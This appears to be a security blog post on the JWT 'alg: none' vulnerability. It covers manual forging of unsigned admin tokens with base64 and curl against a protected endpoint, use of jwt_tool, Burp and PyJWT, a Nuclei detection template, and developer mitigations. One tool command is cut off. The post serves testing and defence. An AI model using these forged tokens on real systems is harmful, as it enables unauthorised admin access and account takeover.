Listen to this Post
Introduction:
JSON Web Tokens (JWT) have become the standard for securing modern APIs and web applications, but a dangerous misconfiguration in their implementation can completely nullify their security. The “alg: none” vulnerability occurs when a server accepts tokens with the algorithm field set to “none”, effectively trusting unsigned tokens as valid. This allows an attacker to forge arbitrary tokens, escalate privileges to admin, and gain unauthorized access to protected resources—all without knowing any cryptographic secrets.
Learning Objectives:
- Understand the structure of JSON Web Tokens and the critical role of the “alg” header.
- Learn how to manually and automatically exploit servers that accept “alg: none” tokens.
- Implement robust mitigations to prevent JWT algorithm-based authentication bypasses.
You Should Know:
1. Understanding the JWT “None” Vulnerability
JWTs consist of three Base64URL-encoded parts separated by dots: header, payload, and signature. The header typically contains the algorithm (alg) and token type (typ). The `alg` field tells the server how to verify the token’s integrity. The “none” algorithm was originally intended for debugging scenarios where no signature is required. However, if a production server still accepts tokens with alg: none, an attacker can:
– Decode the original token.
– Change the header to {"alg": "none", "typ": "JWT"}.
– Modify the payload to include high-privilege claims (e.g., "admin": true).
– Remove the signature part (or set it to an empty string).
– Send this tampered token to the server.
If the server does not reject the “none” algorithm, it will process the token as valid, granting the attacker all permissions associated with the forged claims.
2. Exploiting JWT None Attack: Step-by-Step Manual Exploitation
Step 1: Capture a valid JWT from the target application (e.g., from browser storage, Burp proxy, or API response).
Step 2: Decode the header and payload to understand their structure. Use Linux command line:
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d 2>/dev/null
This reveals the original algorithm (e.g., HS256).
Step 3: Prepare a malicious header and payload. For example, create a header with “none”:
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '='
Output: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0`
Then craft a payload granting admin access:
echo -n '{"sub":"1234567890","name":"John Doe","admin":true}' | base64 | tr '+/' '-_' | tr -d '='
Output: `eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9`
Step 4: Combine header and payload with an empty signature (just a trailing dot):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.
Step 5: Use this token in a request to a protected endpoint:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9." https://target.com/admin
If the server returns a 200 OK with admin data, the vulnerability is confirmed.
3. Using Automated Tools for JWT None Exploitation
Manual exploitation is straightforward, but tools speed up the process and help test multiple endpoints.
– jwt_tool: A comprehensive JWT auditing tool.
– Install: `git clone https://github.com/ticarpi/jwt_tool.git && cd jwt_tool && pip3 install -r requirements.txt`
– Exploit “none” with: `python3 jwt_tool.py
– Alternatively, use `-X b` for blank password attack if “none” is not accepted but empty secret is.
– Burp Suite with JWT Editor Extension:
– Install “JWT Editor” from BApp store.
– Capture a request with a JWT, send to Repeater.
– In the “JSON Web Token” tab, modify the header: set `alg` to none, and edit payload as needed.
– Click “Sign” but choose “Don’t modify signature” or manually remove the signature part.
– Send the request and observe response.
– Python Script with PyJWT:
import jwt
Create a token with alg none
token = jwt.encode({'user':'admin', 'admin':True}, key='', algorithm='none')
print(token)
Note: Some libraries may block “none” by default; check version.
4. Detecting JWT None Vulnerability in Your Applications
To proactively identify this flaw, integrate these tests into your security pipeline:
– Manual cURL testing as shown above.
– Automated scanning with Nuclei: Use a template like:
id: jwt-none-alg
info:
name: JWT None Algorithm Bypass
severity: critical
requests:
- raw:
- |
GET /admin HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0.
matchers:
- type: word
words:
- "admin"
- "dashboard"
– Use ZAP’s Active Scanner with custom script to inject “none” tokens.
– Burp Intruder with payloads from SecLists (JWT section) to fuzz the `alg` field.
5. Mitigation Strategies for Developers
Preventing this attack is simple once understood:
- Reject “none” explicitly: Configure your JWT library to never accept the “none” algorithm. In most libraries, set a whitelist of allowed algorithms.
- Python (PyJWT): `jwt.decode(token, key, algorithms=[‘HS256’, ‘RS256’], options={‘verify_signature’: True})`
– Node.js (jsonwebtoken): `jwt.verify(token, secret, { algorithms: [‘HS256’] })`
– Java (jjwt): `Jwts.parser().setSigningKey(key).parseClaimsJws(token)` automatically enforces signature, but ensure you don’t use `parseClaimsJwt` (which doesn’t verify). - Use strong, secret keys and rotate them regularly.
- Validate token structure: Ensure tokens have three parts and the signature is present.
- Implement additional checks like audience and issuer validation.
- Perform penetration testing and automated scans in CI/CD to catch misconfigurations early.
6. Real-World Impact and Bug Bounty Hunting
The “none” vulnerability can lead to full account takeover, privilege escalation, and data breaches. Bug bounty programs frequently reward reports of this issue because it’s easy to exploit yet devastating.
– Example scenario: An e-commerce site uses JWT for user sessions. An attacker changes `alg` to `none` and sets "isAdmin": true. They access the admin panel, modify prices, or export customer data.
– Hunting tips:
– Look for JWTs in Authorization headers, cookies, or POST bodies.
– Test all endpoints that accept tokens, especially those with sensitive functionality.
– Combine with other JWT attacks (e.g., algorithm confusion) if “none” is blocked.
– Document the exact request and response to prove impact.
7. Advanced: Algorithm Confusion and “None” Variations
While “none” is the most blatant, similar issues arise when servers misinterpret algorithm fields. For instance, if a server expects RS256 but you send HS256 with the public key as the secret, you can forge tokens. The “none” attack is the simplest form of algorithm confusion. Always test for:
– `alg: none`
– `alg: None`
– `alg: NONE`
– Missing `alg` field (some libraries default to “none”).
– Using a null byte or whitespace in algorithm field.
What Undercode Say:
- Key Takeaway 1: The “none” algorithm is a ticking time bomb in JWT implementations; if a server accepts it, authentication is effectively disabled, allowing anyone to impersonate any user, including administrators. This vulnerability is not theoretical—it has been found in major platforms and rewarded in bug bounties.
- Key Takeaway 2: Mitigation is straightforward: always specify a strict whitelist of allowed algorithms and ensure your JWT library rejects unsigned tokens by default. Regular security audits and automated testing can catch this misconfiguration before attackers do.
- Analysis: The persistence of the “none” vulnerability highlights a gap between developer awareness and secure coding practices. Many developers rely on default library settings, unaware that “none” may be enabled for legacy reasons. As APIs become the backbone of applications, a single overlooked JWT setting can unravel an entire security posture. Education and tooling are essential to close this gap. Additionally, organizations should adopt a “deny by default” approach for cryptographic operations—if an algorithm isn’t explicitly allowed, it should be rejected. The simplicity of this attack makes it a favorite for both ethical hackers and malicious actors, underscoring the need for defense in depth and continuous monitoring.
Prediction:
As JWT usage continues to expand into IoT, microservices, and serverless architectures, the “none” algorithm vulnerability will remain a common entry point for attackers. Automated scanning tools will increasingly include checks for this flaw, leading to a surge in bug bounty reports and responsible disclosures. However, legacy systems and poorly maintained codebases will linger as low-hanging fruit for cybercriminals. Future JWT libraries may deprecate the “none” algorithm entirely, but developers must remain vigilant—algorithm confusion attacks will evolve, and new variations of algorithm mishandling will emerge. The ultimate lesson is that token validation logic must be explicit, not implicit, to withstand the evolving threat landscape.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Deepmarketer Bug – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
